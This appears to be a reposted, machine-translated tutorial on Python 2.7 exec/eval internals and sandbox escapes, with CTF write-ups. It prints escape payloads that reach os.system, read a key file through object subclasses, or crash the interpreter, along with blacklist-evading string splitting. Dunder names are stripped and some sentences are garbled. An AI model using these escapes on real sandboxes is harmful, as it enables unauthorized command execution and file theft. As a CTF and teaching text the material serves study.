Python 샌드박스 이스케이프 문제 분석

高洛峰
풀어 주다: 2017-03-15 13:14:12
원래의
3023명이 탐색했습니다.

[TOC]
(Python 2.7 기준)
Python 샌드박스 이스케이프 문제를 해결하기 전에 Python의 몇 가지 구문 세부 사항을 이해해야 합니다. eval 기능 사용법을 이미 알고 계시다면 1, 2부 생략하고 3x00을 바로 시청하셔도 됩니다.

0x00 표현식 실행

은 표현식의 내용을 실행하는 데 사용되며 exec 또는 eval을 사용하여 수행할 수 있습니다.

0x01 exec

exec_stmt:    "exec" expression ["in" expression ["," expression]]
로그인 후 복사

여기서 ["in" expression ["," expression]]는 선택적 표현식입니다.

1, 코드/문자열 작업

exec "x = 1+1"
print x
#result:
#2
로그인 후 복사
exec "x = 'a' + '42'"
print x
#result:
#a42
로그인 후 복사

여러 줄의 코드를 실행할 수도 있습니다. 따옴표 세 개로 묶으면 됩니다.

a = 0
exec"""for _ in range(input()):
        a += 1
"""
print a
로그인 후 복사

2. 파일 작업

execfile

한편으로는 execfile을 사용할 수 있는데, 그 기능은 이 파일의 내용을 실행하는 것입니다

#Desktop/pytest.txt
print 'Gou Li Guo Jia Sheng Si Yi'
로그인 후 복사
rrree

pytest.py의 출력 결과는 다음과 같습니다.

#Desktop/pytest.py
execfile(r'C:\Users\Think\Desktop\pytest.txt')
로그인 후 복사

execfilepytest.txt의 내용을 실행합니다. 을 읽는 대신 이 실행된다는 점에 유의하세요. 의 내용이 pytest.txt이면 어떤 출력도 얻을 수 없습니다. 'Gou Li Guo Jia Sheng Si Yi'물론 .py 파일을 실행하는 것도 가능합니다. .txt 파일을 실행하기 위한 요구 사항은 txt 파일의 내용이 ASCII여야 한다는 것입니다. txt 파일보다는 .py 파일을 실행하는 것이 더 좋습니다.

이런 종류의 실행은 실제로

이 가리키는 파일의 내용을 직접 execfile복사합니다. 예:

Gou Li Guo Jia Sheng Si Yi
로그인 후 복사
#C:/Users/Think/Desktop/Mo.py
#coding:utf-8
a = 2
print '稻花香里说丰年,听取蛤声一片'
로그인 후 복사
이때 pytest의 결과는 다음과 같습니다.

#C:/Users/Think/Desktop/pytest.py
a = 3
execfile(r'C:\Users\Think\Desktop\Mo.py')
print a
로그인 후 복사
사실 파일을 실행하는 것이 아니라... 파일의 내용을 완전히 실행하는 것입니다. 함수 호출로.

exec를 직접 사용하여 조작

실행 파일의 내용이기도 한 exec를 직접 사용하지만

표현식을 사용하여 전역 in 변수를 사용할 수 있습니다 도메인.

稻花香里说丰年,听取蛤声一片
2
로그인 후 복사
#C:\Users\Think\Desktop\test1.txt
print poetry
로그인 후 복사
3, 튜플 사용

#pytest.py
result={'poetry':'苟利国家生死以'}
exec open(r'C:\Users\Think\Desktop\test1.txt') in result
로그인 후 복사

출력 결과는

b = 42
tup1 = (123,456,111)
exec "b = tup1[2]"
print b
로그인 후 복사
exec의 전역/지역 매개변수 사용 방법

지원 두 개의 선택적 매개변수, 키워드 지정 매개변수는 지원되지 않습니다. execPython은 C++와 유사한
정적 범위(어휘 범위) 규칙을 채택합니다. 변수는 함수 내에서 사용할 수 있지만 함수 외부에서는 사용할 수 없습니다. 파스칼 언어에서는 동적 범위를 사용합니다. 즉, 함수가 실행되면 변수가 존재하게 됩니다. 예를 들어
함수는 g 함수에 중첩되어 있습니다. 프로그램이 f을 실행할 때 f의 표현식에서 변수를 찾습니다. 이때 f에 이 변수가 있으면 이 변수를 사용하고, 없으면 계속해서 레이어별로 바깥쪽으로 검색합니다. g
은 함수(function)가 아닌 문법적 명령문(statement)이고, exec는 함수execfile라는 점에 유의해야 합니다. 이유는 다음과 같습니다.

에서 외부 변수를 직접 인쇄하는 경우: exec

111
로그인 후 복사

함수에서 외부 변수를 인쇄하는 경우:

b = 42
tup1 = (123,456,111)
exec "print tup1[1]"
#结果为 456
로그인 후 복사

LEGB 규칙 LEGB 규칙

exec의 전역 매개변수

b = 42
tup1 = (123,456,111)
def pr():
    print tup[1]

pr()

#结果:
#NameError: global name 'tup' is not defined
로그인 후 복사

는 다음을 지정하는 globals dict 객체 입니다. 필수 전역 변수입니다. exec

  • globlasglobals()

  • 과 동일하며 locals 매개변수 값과 동일합니다globals

1,globals

exec_stmt:    "exec" expression ["in" expression ["," expression]]
로그인 후 복사

코드 세그먼트에서

의 값은 exec이며 이는 지정된 locals, 즉 k에서 비롯됩니다. .globals 게다가
globals는 전역 변수에서 가져오고 전역 변수 에 대해 작동합니다.

2, locals

#coding:utf-8
k = {'b':42}
exec ("a = b + 1",k)
print k['a'],k['b']
#结果:
#43 42
로그인 후 복사

비교:

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})
#结果:
#101
로그인 후 복사

와 비교하면 age, b, a 세 가지 내부 변수가 있는 것을 볼 수 있습니다 exec 지정 후 b는 g(전역)에서 오고, a는 사용자 정의된 지역 변수에서 옵니다.

local은 지역 변수에서 가져와서 지역 변수 에 작용하는 것을 볼 수 있습니다. 이 결론을 확인하기 위해 다음과 같이 약간 수정합니다.

g = {'b':100,'a':2}
exec("""age = b + a
print age
     """,g,{'a':1})

#结果:
#101
로그인 후 복사

보시다시피

는 사전 a(전역)에 영향을 주지 않는 반면, 위의 첫 번째 섹션에서 언급한 <는 🎜> 키 값 g이 전역 사전 globals에 채워졌습니다.agexec 결론

을 사용하면 다음과 같은

결론

을 만들 수 있습니다. 이후의 내용을 p1, p2, p3의 세 부분으로 나눕니다

g = {&#39;b&#39;:100}
exec("""age = b + a
print age
     """,g,{&#39;a&#39;:1})

print g[&#39;a&#39;]
#结果:
#101
# print g[&#39;a&#39;]
#KeyError: &#39;a&#39;
로그인 후 복사
exec

    첫 번째 부분
  1. , 내용은 실행할 내용입니다.
  2. 第二部分p2,其中的内容来自全局变量,会在上一个变量作用域当中寻找对应的值,并将其传递给表达式,如果不存在p3p1中的结果会传回全局变量;

  3. 第三部分p3,其中的内容是局部的,将用户在其中自设的局部值传递给p1,并且在局部中生效,如果在外部引用此处用到的值将会报错。

exec 反汇编

#use `exec` source code
import dis
def exec_diss():
    exec "x=3"

dis.dis(exec_diss)
로그인 후 복사
# use `exec` disassembly
 4           0 LOAD_CONST               1 (&#39;x=3&#39;)
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           
              8 LOAD_CONST               0 (None)
             11 RETURN_VALUE
로그인 후 복사
#not use `exec` scource code
import dis
def exec_diss():
    x=3

dis.dis(exec_diss)
로그인 후 복사
#not use exec disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE
로그인 후 복사

指令解释在这里:http://www.php.cn/
简要说明下,TOStop-of-stack,就是栈顶。
LOAD_CONST是入栈,RETURN_VALUE 是还原esp
其中两者的不同之处在于:

# use `exec` disassembly
6 DUP_TOP             #复制栈顶指针
7 EXEC_STMT     #执行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`
로그인 후 복사

也就是说,def函数是将变量入栈,然后调用时就出栈返回;而使用了exec之后,除了正常的入栈流程外,程序还会将栈顶指针复制一遍,然后开始执行exec的内容。

0x02 eval

eval用以动态执行其后的代码,并返回执行后得到的值。

eval(expression[, globals[, locals]])
로그인 후 복사

eval也有两个可选参数,即 globalslocals
使用如下:

print eval("1+1")
#result:
#2
로그인 후 복사

eval 的 globals / locals 参数的使用方法

1,globals
类似于 exec:

g = {&#39;a&#39;:1}
print eval("a+1",g)

#result:
#2
로그인 후 복사

2,locals

k = {&#39;b&#39;:42}
print eval ("b+c",k,{&#39;c&#39;:2})
#result:
#44
로그인 후 복사

eval反汇编

#use_eval
import dis
def eval_dis():
    eval ("x = 3")

dis.dis(eval_dis)
로그인 후 복사
#use_eval_disassembly
 3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 (&#39;x = 3&#39;)
              6 CALL_FUNCTION            1
              9 POP_TOP             
             10 LOAD_CONST               0 (None)
             13 RETURN_VALUE
로그인 후 복사

比较:

#not_use_eval
import dis
def no_eval_dis():
    x = 3

dis.dis(no_eval_dis)
로그인 후 복사
#not_use_eval_disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE
로그인 후 복사

同样是建栈之后执行。

1x00 exec 和 eval 的区别

exec无返回值:

exec ("print 1+1")
#result:
#2
로그인 후 복사

如果改成

print exec("1+1")
로그인 후 복사

这就会因为没有返回值(不存在该变量而报错)。
eval 是有返回值的:

eval ("print 1+1")
#result:
#SyntaxError: invalid syntax
로그인 후 복사

如果想要打印,则必须在 eval之前使用print
但是奇怪的是,为什么 exec 反汇编出的内容当中,也会有一个RETURN_VALUE 呢?

1x01确定RETURN_VALUE来源

为了确定这个RETURN_VALUE究竟是受到哪一部分的影响,可以改动一下之前的代码,

import dis
def exec_diss():
    exec "x=3"
    return 0

dis.dis(exec_diss)
로그인 후 복사
3           0 LOAD_CONST               1 (&#39;x=3&#39;)
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           

  4           8 LOAD_CONST               2 (0)
             11 RETURN_VALUE
로그인 후 복사

对比eval的:

import dis
def eval_diss():
    eval ("3")
    return 0

dis.dis(eval_diss)
로그인 후 복사
  3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 (&#39;3&#39;)
              6 CALL_FUNCTION            1
              9 POP_TOP             

  4          10 LOAD_CONST               2 (0)
             13 RETURN_VALUE
로그인 후 복사

对比 evalexec之后,会发现exec使用的是DUP_TOP(),而eval使用的是POP_TOP,前者是复制 TOS,后者是推出TOS
在 C++ 反汇编当中,会发现对函数调用的最后会有 POP ebp,这是函数执行完之后的特征。在 Python 中,eval就是一种函数,exec是表达式。这也解释了之前说的eval有返回值而exec无返回值的原因。
而最后的 RETURN_VALUE,很明显可以看出并非evalexec的影响,而是 Python 中每一个程序执行完之后的正常返回(如同 C++ 中的 return 0)。
可以写段不包含这两者的代码来验证:

import dis
def no():
    a = 1+1

dis.dis(no)
로그인 후 복사
  3           0 LOAD_CONST               2 (2)
              3 STORE_FAST               0 (a)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE
로그인 후 복사

所以,RETURN_VALUE是每个程序正常运行时就有的。

2x00 eval 的危险性

2x01 先期知识

在 Python 当中, import可以将一个 Python 内置模块导入,import可以接受字符串作为参数。
调用 os.system(),就可以执行系统命令。在 Windows下,可以这么写:

>>> import(&#39;os&#39;).system(&#39;dir&#39;)
로그인 후 복사

或者:

>>> import os
>>> os.system(&#39;dir&#39;)
로그인 후 복사

也可以达到这个目的。
这两种方法会使得系统执行dir,即文件列出命令,列出文件后,读取其中某个文件的内容,可以:

with open(&#39;example.txt&#39;) as f:
    s = f.read().replace(&#39;\n&#39;, &#39;&#39;)

print s
로그인 후 복사

如果有一个功能,设计为执行用户所输入的内容,如

print eval("input()")
로그인 후 복사

此时用户输入1+1,那么会得到返回值 2。若前述的

os.system(&#39;dir&#39;)
로그인 후 복사

则会直接列出用户目录。
但是,从之前学过的可以看到,如果为eval指定一个空的全局变量,那么eval就无法从外部得到 os.system模块,这会导致报错。
然而,可以自己导入这个模块嘛。

import(&#39;os&#39;).system(&#39;dir&#39;)
로그인 후 복사

这样就可以继续显示文件了。
如果要避免这一招,可以限定使用指定的内建函数builtins,这将会使得在第一个表达式当中只能采用该模块中的内建函数名称才是合法的,包括:

>>> dir(&#39;builtins&#39;)
[&#39;add&#39;, &#39;class&#39;, &#39;contains&#39;, &#39;delattr&#39;, &#39;doc&#39;, &#39;eq&#39;, &#39;format&#39;, &#39;ge&#39;, &#39;getattribute&#39;, &#39;getitem&#39;, &#39;getnewargs&#39;, &#39;getslice&#39;, &#39;gt&#39;, &#39;hash&#39;, &#39;init&#39;, &#39;le&#39;, &#39;len&#39;, &#39;lt&#39;, &#39;mod&#39;, &#39;mul&#39;, &#39;ne&#39;, &#39;new&#39;, &#39;reduce&#39;, &#39;reduce_ex&#39;, &#39;repr&#39;, &#39;rmod&#39;, &#39;rmul&#39;, &#39;setattr&#39;, &#39;sizeof&#39;, &#39;str&#39;, &#39;subclasshook&#39;, &#39;_formatter_field_name_split&#39;, &#39;_formatter_parser&#39;, &#39;capitalize&#39;, &#39;center&#39;, &#39;count&#39;, &#39;decode&#39;, &#39;encode&#39;, &#39;endswith&#39;, &#39;expandtabs&#39;, &#39;find&#39;, &#39;format&#39;, &#39;index&#39;, &#39;isalnum&#39;, &#39;isalpha&#39;, &#39;isdigit&#39;, &#39;islower&#39;, &#39;isspace&#39;, &#39;istitle&#39;, &#39;isupper&#39;, &#39;join&#39;, &#39;ljust&#39;, &#39;lower&#39;, &#39;lstrip&#39;, &#39;partition&#39;, &#39;replace&#39;, &#39;rfind&#39;, &#39;rindex&#39;, &#39;rjust&#39;, &#39;rpartition&#39;, &#39;rsplit&#39;, &#39;rstrip&#39;, &#39;split&#39;, &#39;splitlines&#39;, &#39;startswith&#39;, &#39;strip&#39;, &#39;swapcase&#39;, &#39;title&#39;, &#39;translate&#39;, &#39;upper&#39;, &#39;zfill&#39;]
로그인 후 복사

这样,就可以写成:

eval("input()",{&#39;builtins&#39;:{}})
로그인 후 복사

就可以限制其只能使用内置的函数。
同时也可以将内置模块置为None,如:

env = {}
env["locals"]   = None
env["globals"]  = None
eval("input()", env)
로그인 후 복사

但是这种情况下builtionsbuitin的引用依然有效。

s = """
(lambda fc=(
    lambda n: [
        c for c in 
            ().class.bases[0].subclasses() 
            if c.name == n
        ][0]
    ):
    fc("function")(
        fc("code")(
            0,0,0,0,"KABOOM",(),(),(),"","",0,""
        ),{}
    )()
)()
"""
eval(s, {&#39;builtins&#39;:{}})
로그인 후 복사

(来自:http://www.php.cn/)
为了创建一个<a href="http://www.php.cn/wiki/60.html" target="_blank">object</a>,要通过

().class.bases[0]
로그인 후 복사

bases类当中的第一个 元素就是元组(tuple),而tuple就是一个object.

lambda这一段主要是构造出一个函数,这个函数要跑完 subclasses来寻找一个object
这是一种情形。总的来说,就是跑一个通过object假的bytecodes.

从上述情况来看,eval是不安全的。

3x00 Python 沙箱逃逸

3x01 第一题

这是一道 CTF 题目,只给了这个:

def make_secure():
    UNSAFE = [&#39;open&#39;,
              &#39;file&#39;,
              &#39;execfile&#39;,
              &#39;compile&#39;,
              &#39;reload&#39;,
              &#39;import&#39;,
              &#39;eval&#39;,
              &#39;input&#39;]
    for func in UNSAFE:
        del builtins.dict[func]

from re import findall
# Remove dangerous builtins
make_secure()
print &#39;Go Ahead, Expoit me >;D&#39;

while True:
    try:
        # Read user input until the first whitespace character
        inp = findall(&#39;\S+&#39;, raw_input())[0]
        a = None
        # Set a to the result from executing the user input
        exec &#39;a=&#39; + inp
        print &#39;Return Value:&#39;, a
    except Exception, e:
    print &#39;Exception:&#39;, e
로그인 후 복사

make_secure这个模块很好理解,看看下边的:

from re import findall
로그인 후 복사

这是 Python 正则表达式的模块。而re.findall可以寻找指定的字符串。
把这一部分单独抽离出来尝试一下:

from re import findall

inp = findall(&#39;\S+&#39;,raw_input())[0]
a = None
exec &#39;a = &#39; +inp
print &#39;Return Value:&#39;,a
로그인 후 복사

运行后输入 1+1,返回结果为2.
构造
之前已经说过可以利用

().class.bases[0].subclasses()
로그인 후 복사

在该题中,主办方搞了个在服务器上的文件,里边有 key,而[40] 是文件,直接就可以了。

().class.bases[0].subclasses()[40]("./key").read()
로그인 후 복사

第二题

#!/usr/bin/env python 
from future import print_function
 
print("Welcome to my Python sandbox! Enter commands below!")
 
banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]
 
targets = builtins.dict.keys()  
targets.remove(&#39;raw_input&#39;)  
targets.remove(&#39;print&#39;)  
for x in targets:  
    del builtins.dict[x]
 
while 1:  
    print(">>>", end=&#39; &#39;)
    data = raw_input()
 
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data
로그인 후 복사
[x for x in [].class.base.subclasses() if x.name == &#39;catch_warnings&#39;][0].init.func_globals[&#39;linecache&#39;].dict[&#39;o&#39;+&#39;s&#39;].dict[&#39;sy&#39;+&#39;stem&#39;](&#39;echo Hello SandBox&#39;)
로그인 후 복사

4x00 blue-lotus MISC - pyjail Writeup

给了这个:

#!/usr/bin/env python
# coding: utf-8

def del_unsafe():
    UNSAFE_BUILTINS = [&#39;open&#39;,
    &#39;file&#39;,
    &#39;execfile&#39;,
    &#39;compile&#39;,
    &#39;reload&#39;,
    &#39;import&#39;,
    &#39;eval&#39;,
    &#39;input&#39;] ## block objet?
    for func in UNSAFE_BUILTINS:
        del builtins.dict[func]

from re import findall
del_unsafe()

print &#39;Give me your command!&#39;
while True:
    try:
        inp = findall(&#39;\S+&#39;, raw_input())[0]
        print "inp=", inp
        a = None
        exec &#39;a=&#39; + inp
        print &#39;Return Value:&#39;, a
    except Exception, e:
        print &#39;Exception:&#39;, e
로그인 후 복사

比较一下和上边的第一题有什么不同,答案是……并没有什么不同……

위 내용은 Python 샌드박스 이스케이프 문제 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
원천:php.cn
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿